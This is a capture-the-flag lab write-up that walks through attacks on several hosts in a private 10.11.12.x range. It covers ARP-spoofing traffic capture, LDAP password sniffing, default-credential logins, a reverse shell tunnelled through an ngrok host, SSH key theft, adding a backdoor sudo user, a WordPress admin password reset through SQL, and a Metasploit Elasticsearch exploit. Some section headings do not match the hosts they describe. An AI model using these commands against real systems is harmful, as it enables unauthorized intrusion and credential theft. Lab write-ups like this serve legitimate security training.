CTF - NSP

10.11.12.6 - Windows Active Directory

Network Packet Capture and Analysis - Question 1

- **Objective:** Capture and analyze network traffic to identify specific data flags.

Steps to Solution

1. **Initial Observation:**
   - Noticed network traffic between IP addresses 10.11.12.6 and 10.11.12.48 using the tool Ettercap.
2. **Action Taken:**
   - Executed command: `sudo ettercap -T -i tap0 -M arp /10.11.12.6/10.11.12.48/ -w file.pcap`
   - Result: Successfully captured the ARP traffic between the specified IP addresses and saved it to `file.pcap`.
3. **Further Actions:**
   - Additional command: `tcpdump -r file.pcap -A > file.txt`
   - Result: Converted the pcap file into a text format for easier analysis and saved the output to `file.txt`.
   - Additional command: `cat file.txt | grep FLAG`
   - Result: Searched through the text file to find specific lines containing the keyword "FLAG", which helped in identifying the data flag "FLAG-6986".
4. **Resolution:**
   - Final command: `cat file.txt | grep FLAG`
   - Outcome: Successfully extracted and identified the flag "FLAG-6986" from the network traffic, confirming the presence of the expected data within the captured traffic.

Credential Capture - Question 2

- **Objective:** Intercept and analyze LDAP traffic to retrieve user credentials and specific data flags.

Steps to Solution

1. **Initial Observation:**
   - Identified the need to capture LDAP traffic between the host at IP address 10.11.12.48 for credential and flag extraction.

2. **Action Taken:**
    - Executed command: `sudo ettercap -T -i tap0 -M arp /10.11.12.48/10.11.12.48/ -w x.pcap`
    - Result: Captured the ARP traffic specifically targeting the host at 10.11.12.48 and saved it to `x.pcap`.
3. **Further Actions:**
    - Additional command: Opened `x.pcap` in Wireshark for detailed analysis.
    - Result: Utilized Wireshark's powerful filtering capabilities to isolate LDAP traffic.
    - Additional command: Applied the filter `ldap` in Wireshark.
    - Result: Successfully filtered the LDAP protocol traffic to facilitate focused analysis.
    - Additional command: Searched for user credentials for `ed@vault.vinyl` and the password within the filtered results.
    - Result: Found the user `ed@vault.vinyl` and the associated password `FLAG-6986`.
4. **Resolution:**
    - Final command: `ldapsearch -H ldap://10.11.12.6 -x -b "DC=vault,DC=vinyl" -D "ed@vault.vinyl" -W | grep FLAG`
    - Outcome: Executed an LDAP search query using the credentials obtained. Successfully retrieved additional data, including the user `flag@vault.vinyl` and the attribute `physicalDeliveryOfficeName` with the value `FLAG-6659`.

Gaining Access to NFS Server - Question 4

- **Objective:** Gain access to the NFS server.

Steps to Solution

1. **Initial Observation:**
    - Noticed NFS server open on port 2049.
2. **Action Taken:**
    - Executed command: `showmount -e 10.11.12.6`
    - Result: Observed the shared directory (/Data).
3. **Further Actions:**
    - Additional command: `sudo mount -t nfs 10.11.12.6:/Data /mnt`
    - Result: Successfully mounted the NFS share to the local directory /mnt.
4. **Resolution:**
    1. Found flag within mounted share.

10.11.12.13 - OPNsense

Accessing OPNsense with default credentials - Question 1

- **Objective:** Access a web interface, authenticate using default credentials, and locate an image containing a specific flag.

Steps to Solution

1. **Initial Observation:**
   - Identified the target web interface at the IP address 10.11.12.13 that requires authentication and potentially contains sensitive data.
2. **Action Taken:**
   - Executed action: Accessed the web interface hosted on 10.11.12.13 using Firefox.
   - Result: Successfully loaded the login page of the web interface.
3. **Further Actions:**
   - Additional action: Logged in using the default credentials (Username: `root`, Password: `opnsense`).
   - Result: Authentication was successful, granting access to the web interface.
   - Additional action: Scrolled through the web interface to locate any images containing flags.
   - Result: Found an image displaying the flag "FLAG-1578".
4. **Resolution:**
   - Final action: Documented the location and content of the image.
   - Outcome: Successfully retrieved and recorded the flag "FLAG-1578" from the image found on the web interface.

Secure Shell Access - Question 2

- **Objective:** Access the OPNsense system settings, enable SSH if necessary, and retrieve a specific flag from a text file via SSH.

Steps to Solution

1. **Initial Observation:**
   - Identified the need to access the system settings within the OPNsense interface to check and potentially enable SSH access.
2. **Action Taken:**
   - Executed action: Navigated to `System > Settings > Administration` within the OPNsense web interface.
   - Result: Accessed the administration settings where SSH options are available.
3. **Further Actions:**
   - Additional action: Checked the SSH settings and activated SSH access when found inactive.
   - Result: SSH was successfully enabled, allowing secure shell access to the system.

- Additional action: Connected to the OPNsense system via SSH using the command `ssh -p 5569 root@10.11.12.13` with the password `opnsense`.
- Result: Successfully logged in to the OPNsense system via SSH.
- Additional action: Entered the command `8` to open the shell after logging in.
- Result: Gained access to the system's command line interface.
- Additional action: Executed `cat FLAG.txt` to view the contents of the file.
- Result: Displayed the contents of `FLAG.txt`, revealing the flag "FLAG-1807".

4. **Resolution:**
   - Final action: Documented the retrieval of the flag from the text file.
   - Outcome: Successfully extracted and documented the flag "FLAG-1807" from the OPNsense system.

10.11.12.28 - Windows

RDP Infiltration - Question 1

- **Objective:** Utilize Nmap to identify services on a target machine, specifically looking for RDP, and then access the system using known credentials to retrieve a specific flag from a text file.

Steps to Solution

1. **Initial Observation:**
   - Determined the necessity to scan the target machine at IP address 10.11.12.28 to identify running services and vulnerabilities.
2. **Action Taken:**
   - Executed command: `sudo nmap 10.11.12.28 -sV -sC -oN 10.11.12.28.txt`
   - Result: Conducted a service and default script scan on the target, with the results saved to `10.11.12.28.txt`.
3. **Further Actions:**
   - Additional action: Reviewed the scan results and identified an open RDP service on the target machine.
   - Result: Confirmed the presence of an RDP service, indicating a potential method for remote access.
   - Additional action: Utilized the previously discovered credentials (Username: `ed`, Password: `FLAG-6986`) to initiate an RDP session using FreeRDP: `xfreerdp /u:ed /p:FLAG-6986 /v:10.11.12.28`.
   - Result: Successfully established an RDP session with the target machine as user `ed`.
   - Additional action: Navigated the file system within the RDP session to locate and open `flag.txt`.
   - Result: Found and opened `flag.txt`, revealing the flag "FLAG-2638".

4. **Resolution:**
    - Final action: Documented the process and the discovered flag.
    - Outcome: Successfully accessed the target machine via RDP, navigated its file system, and retrieved the flag "FLAG-2638".

10.11.12.38 - Debian

Reverse Shell

- **Objective:** Establish a reverse shell connection to the target machine (10.11.12.53) using NGROK to bypass NAT/firewall.

Steps to Solution

1. **Initial Observation:**
    - Noticed an open port 3826 on the target machine using nmap.
        - Executed command: `nmap -sV 10.11.12.53`
        - Result: Found open port 3826.
2. **Action Taken:**
    - Navigated to the target machine's open port via a web browser: 10.11.12.53:3826.
    - Installed and configured NGROK to expose a local port to the internet.
        - Executed command: Installation and configuration steps for NGROK (not explicitly provided).
        - Result: NGROK successfully installed and configured.
3. **Further Actions:**
    - Started a NetCat listener on the attacker's machine to listen for incoming connections.
        - Additional command: `nc -lvp 10670`
        - Result: NetCat listener started successfully.
    - Initiated an NGROK session to forward the TCP port 10670 over the internet.
        - Additional command: `ngrok tcp 10670`
        - Result: NGROK session started, forwarding established as `tcp://0.tcp.eu.ngrok.io:11359 → localhost:10670`.
4. **Resolution:**
    - Constructed and executed a reverse shell command on the target machine's input field to establish a reverse shell connection.
        - Final command: `bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/11359 0>&1`
        - Outcome: Reverse shell connection successfully established, allowing command execution on the target machine from the attacker's machine.

Privilege Escalation

- **Objective:** Gain escalated privileges on the target machine (10.11.12.53) by accessing a sensitive SSH private key.

Steps to Solution

1. **Initial Observation:**
   - Identified that the user `taylor` might have sensitive files accessible through elevated privileges.
     - Executed command: Observation of user directories and permissions (not explicitly provided).
     - Result: Potential sensitive file `.ssh/id_rsa` located in Taylor's home directory.
2. **Action Taken:**
   - Accessed the SSH private key of user `taylor` using elevated privileges.
     - Executed command: `sudo cat /home/taylor/.ssh/id_rsa`
     - Result: Contents of the SSH private key were displayed.
3. **Further Actions:**
   - Copied the SSH private key contents to a local file on the Kali VM to use for SSH access.
     - Additional command: Manual copy and paste of the key contents into a new file named `id_rsa` on the Kali VM.
     - Result: SSH key successfully copied and stored locally.
4. **Resolution:**
   - Used the copied SSH private key to establish an SSH connection as user `taylor` to the target machine.
     - Final command: `ssh -i path/to/id_rsa taylor@10.11.12.53`
     - Outcome: Successfully logged into the target machine as user `taylor` using the SSH key, potentially with escalated privileges.

Database Information Retrieval - Question 1

- **Objective:** Gain access to a target system via a reverse shell and retrieve a specific flag from the PostgreSQL history file.

Steps to Solution

1. **Initial Observation:**
   - Identified the need to establish a reverse shell connection to the target system to access internal files and data.
2. **Action Taken:**
   - Executed action: Established a reverse shell connection to the target system.

- Result: Successfully gained command line access to the target system, allowing for direct interaction with its file system and processes.

3. **Further Actions:**
   - Additional action: Accessed the PostgreSQL history file by executing `sudo cat /var/lib/postgresql/.psql_history`.
   - Result: Retrieved the contents of the PostgreSQL command history, which included sensitive information and the flag "FLAG-3407".
4. **Resolution:**
   - Final action: Documented the retrieval of the flag from the PostgreSQL history file.
   - Outcome: Successfully extracted and documented the flag "FLAG-3407" from the target system's PostgreSQL history.

10.11.12.53 - Debian

Creating a Root-Level User

- **Objective:** Gain root access by creating a new user with root privileges.

Steps to Solution

1. **Initial Observation:**
   - Identified the need for root-level access to perform certain actions on the system.
     - Executed command: Preliminary checks for current user permissions (not explicitly provided).
     - Result: Determined that current user has sudo privileges necessary to create new users and modify groups.
2. **Action Taken:**
   - Created a new user with sudo privileges to ensure root-level access.
     - Executed command: `sudo adduser chefbyte_was_here --ingroup sudo --add_extra_groups sudo`
     - Result: Successfully created a new user named `chefbyte_was_here` and added the user to the `sudo` group, granting root-level privileges.
3. **Further Actions:**
   - Switched to the newly created user account to utilize root privileges.
     - Additional command: `sudo su`
     - Result: Successfully logged in as the root user through the new account.
4. **Resolution:**
   - Gained root access by creating and switching to a new user account with root privileges.
     - Outcome: Now have root user account access, enabling the execution of commands and modifications at the root level.

Wordpress Administration Access - Question 2

- **Objective:** Gain administrative access to a Wordpress site by modifying the database credentials of the admin user.

Steps to Solution

1. **Initial Observation:**
   - Identified the Wordpress installation directory and confirmed database access credentials.
     - Executed command: `cd /var/www/html/wordpress`
     - Result: Successfully navigated to the Wordpress installation directory.
2. **Action Taken:**
   - Accessed the Wordpress database using the provided credentials.
     - Executed command: `mysql -u wpuser -p Cdxv2a3gUkqf7G4 -h localhost wordpress_db`
     - Result: Successfully logged into the Wordpress database.
3. **Further Actions:**
   - Located the admin user's details in the database.
     - Additional command: `SELECT * FROM wp_users;`
     - Result: Found the username `real_admin`.
   - Updated the password for the admin user in the database.
     - Additional command: `UPDATE wp_users SET user_pass = MD5('chefbyte') WHERE user_login = 'real_admin';`
     - Result: Admin password successfully updated to a new MD5 hashed password.
4. **Resolution:**
   - Changed the password of the `real_admin` user, allowing administrative access to the Wordpress site.
     - Outcome: Can now log into the Wordpress admin panel as `real_admin` using the new password `chefbyte`.

Retrieve Flag from robots.txt - Question 3

- **Objective:** Access the `robots.txt` file on a web server to locate and retrieve a specific flag value.

Steps to Solution

1. **Initial Observation:**
   - Identified the need to access the `robots.txt` file, which is typically located in the root directory of a web server.

    - Executed command: Navigate to the root directory of the web server (not explicitly provided).
    - Result: Positioned to access server files.
2. **Action Taken:**
    - Accessed the `robots.txt` file to search for any hidden or embedded data.
        - Executed command: Open and read the `robots.txt` file (not explicitly provided).
        - Result: `robots.txt` file successfully opened and read.
3. **Further Actions:**
    - Searched for any unusual or non-standard entries that might contain a flag.
        - Additional command: Scan through the contents of `robots.txt` (not explicitly provided).
        - Result: Flag identified within the file.
4. **Resolution:**
    - Retrieved the flag from the `robots.txt` file.
        - Outcome: The flag `5794` was successfully found within the `robots.txt` file.

FTP File Retrieval (Without ssh connection to machine) - Question 5

- **Objective:** Retrieve the file `flag.txt` from an FTP server hosted on the IP address 10.11.12.53 using anonymous access.

Steps to Solution

1. **Initial Observation:**
    - Identified the target FTP server and its port.
        - Executed command: `ftp 10.11.12.53 2121`
        - Result: Successfully connected to the FTP server on port 2121.
2. **Action Taken:**
    - Logged into the FTP server using anonymous credentials.
        - Executed command: Username: `anonymous` and Password: `any password`
        - Result: Authentication successful, logged in as anonymous user.
3. **Further Actions:**
    - Retrieved the specified file from the server.
        - Additional command: `get flag.txt`
        - Result: Successfully downloaded `flag.txt` from the FTP server.
4. **Resolution:**
    - Successfully retrieved the file `flag.txt` using anonymous access on the FTP server.
        - Outcome: File `flag.txt` is now locally available for review or further action.

Retrieve Web Server Flag - Question 6

- **Objective:** Locate and display the contents of the `index.html` file within the `/var/www/html/flag` directory on a web server, presumably to find a flag for a capture-the-flag (CTF) challenge.

Steps to Solution

1. **Initial Observation:**
   - Identified the need to confirm the presence and process details of the Nginx web server on the system.
     - Executed command: `ps aux | grep nginx`
     - Result: Confirmed that Nginx is running, indicating the web server is active and likely serving the contents of the `/var/www/html` directory.
2. **Action Taken:**
   - Navigated to the specific directory suspected to contain the flag.
     - Executed command: `cd /var/www/html/flag`
     - Result: Successfully changed directory to `/var/www/html/flag`, where the flag file is presumed to be located.
3. **Further Actions:**
   - Displayed the contents of the `index.html` file, which is expected to contain the flag.
     - Additional command: `cat index.html`
     - Result: Successfully displayed the contents of `index.html`, revealing the flag.
4. **Resolution:**
   - Retrieved the flag from the `index.html` file within the specified directory on the web server.
     - Outcome: The flag `FLAG-5466` was successfully found and displayed.

Network Packet Capture and Analysis - Question 7

- **Objective:** Capture network traffic between two IP addresses, analyze the captured data to find a specific flag, and document the process.

Steps to Solution

1. **Initial Observation:**
   - Identified the need to capture ARP traffic between two specific IP addresses on the network.
     - Executed command: `sudo ettercap -T -i tap0 -M arp /10.11.12.6/10.11.12.48/ -w file.pcap`
     - Result: Successfully captured the ARP traffic and saved it to `file.pcap`.

2. **Action Taken:**
    - Analyzed the captured pcap file to extract readable data.
        - Executed command: `tcpdump -r file.pcap -A > file.txt`
        - Result: Converted the pcap file into a text format and saved the output to `file.txt`.
3. **Further Actions:**
    - Searched the text file for the presence of a specific flag.
        - Additional command: `cat file.txt | grep FLAG`
        - Result: Successfully located the flag within the text file.
4. **Resolution:**
    - Retrieved the flag from the analyzed network traffic.
        - Outcome: The flag `FLAG-5953` was successfully extracted from the network traffic data.

10.11.12.75 - Debian

Network Packet Capture and Analysis - Question 1

- **Objective:** Capture network traffic between two IP addresses, analyze the captured data to find a specific flag, and document the process.

Steps to Solution

1. **Initial Observation:**
    - Identified the need to capture ARP traffic between two specific IP addresses on the network.
        - Executed command: `sudo ettercap -T -i tap0 -M arp /10.11.12.6/10.11.12.48/ -w file.pcap`
        - Result: Successfully captured the ARP traffic and saved it to `file.pcap`.
2. **Action Taken:**
    - Analyzed the captured pcap file to extract readable data.
        - Executed command: `tcpdump -r file.pcap -A > file.txt`
        - Result: Converted the pcap file into a text format and saved the output to `file.txt`.
3. **Further Actions:**
    - Searched the text file for the presence of a specific flag.
        - Additional command: `cat file.txt | grep FLAG`
        - Result: Successfully located the flag within the text file.
4. **Resolution:**
    - Retrieved the flag from the analyzed network traffic.
        - Outcome: The flag `FLAG-7972` was successfully extracted from the network traffic data.

MSF Elasticsearch Exploit - Question 3

- **Objective:** Exploit a vulnerability in Elasticsearch using Metasploit to gain unauthorized access and retrieve a specific flag from the target system.

Steps to Solution

1. **Initial Observation:**
   - Identified the potential vulnerability in an Elasticsearch service running on the target machine at IP address 10.11.12.75.
2. **Action Taken:**
   - Executed action: Launched Metasploit with the command `msfconsole`.
   - Result: Successfully entered the Metasploit framework, ready to search for and exploit vulnerabilities.
3. **Further Actions:**
   - Additional action: Searched for available exploits related to Elasticsearch using the command `search elasticsearch`.
   - Result: Identified multiple exploits, including the `multi/elasticsearch/script_mvel_rce` module, suitable for remote code execution.
   - Additional action: Selected and configured the exploit module `use multi/elasticsearch/script_mvel_rce`.
   - Result: Module loaded and ready for configuration.
   - Additional action: Set the required options for the exploit:
     - `set RHOSTS 10.11.12.75` to specify the target host.
     - `set LHOST tap0` to specify the local host interface for reverse connections.
   - Result: Exploit fully configured and ready to be executed.
   - Additional action: Executed the exploit using the command `run`.
   - Result: Exploit successfully executed, gaining unauthorized access to the target system.
   - Additional action: Accessed and read the contents of `flag.txt` using the command `cat flag.txt`.
   - Result: Retrieved the contents of the file, which included the flag "FLAG-7189".
4. **Resolution:**
   - Final action: Documented the process and the discovered flag.
   - Outcome: Successfully exploited a vulnerability in Elasticsearch, gained unauthorized access to the target system, and retrieved the flag "FLAG-7189".

Miscellaneous

Gain access to user's home directory - Question 1

- **Objective:** Gain elevated privileges on the target system at IP address 10.11.12.53 and retrieve a specific flag from a user's home directory.

Steps to Solution

1. **Initial Observation:**
   - Identified the target system at IP address 10.11.12.53 where access is initially available as a non-privileged user, `randomuser`.
2. **Action Taken:**
   - Executed action: Logged into the target system as `randomuser`.
   - Result: Successfully accessed the target system with limited user privileges.
3. **Further Actions:**
   - Additional action: Elevated privileges to the root user by executing `sudo su --login`.
   - Result: Successfully transitioned to the root user, gaining full system access.
   - Additional action: Navigated to the `/home/debian` directory.
   - Result: Accessed the home directory of the user `debian`.
   - Additional action: Viewed the contents of `flag.txt` within the directory by executing `cat flag.txt`.
   - Result: Successfully retrieved the contents of the file, which included the flag "FLAG-0340".
4. **Resolution:**
   - Final action: Documented the process of privilege escalation and the retrieval of the flag.
   - Outcome: Successfully escalated privileges to root, accessed the `/home/debian` directory, and retrieved the flag "FLAG-0340".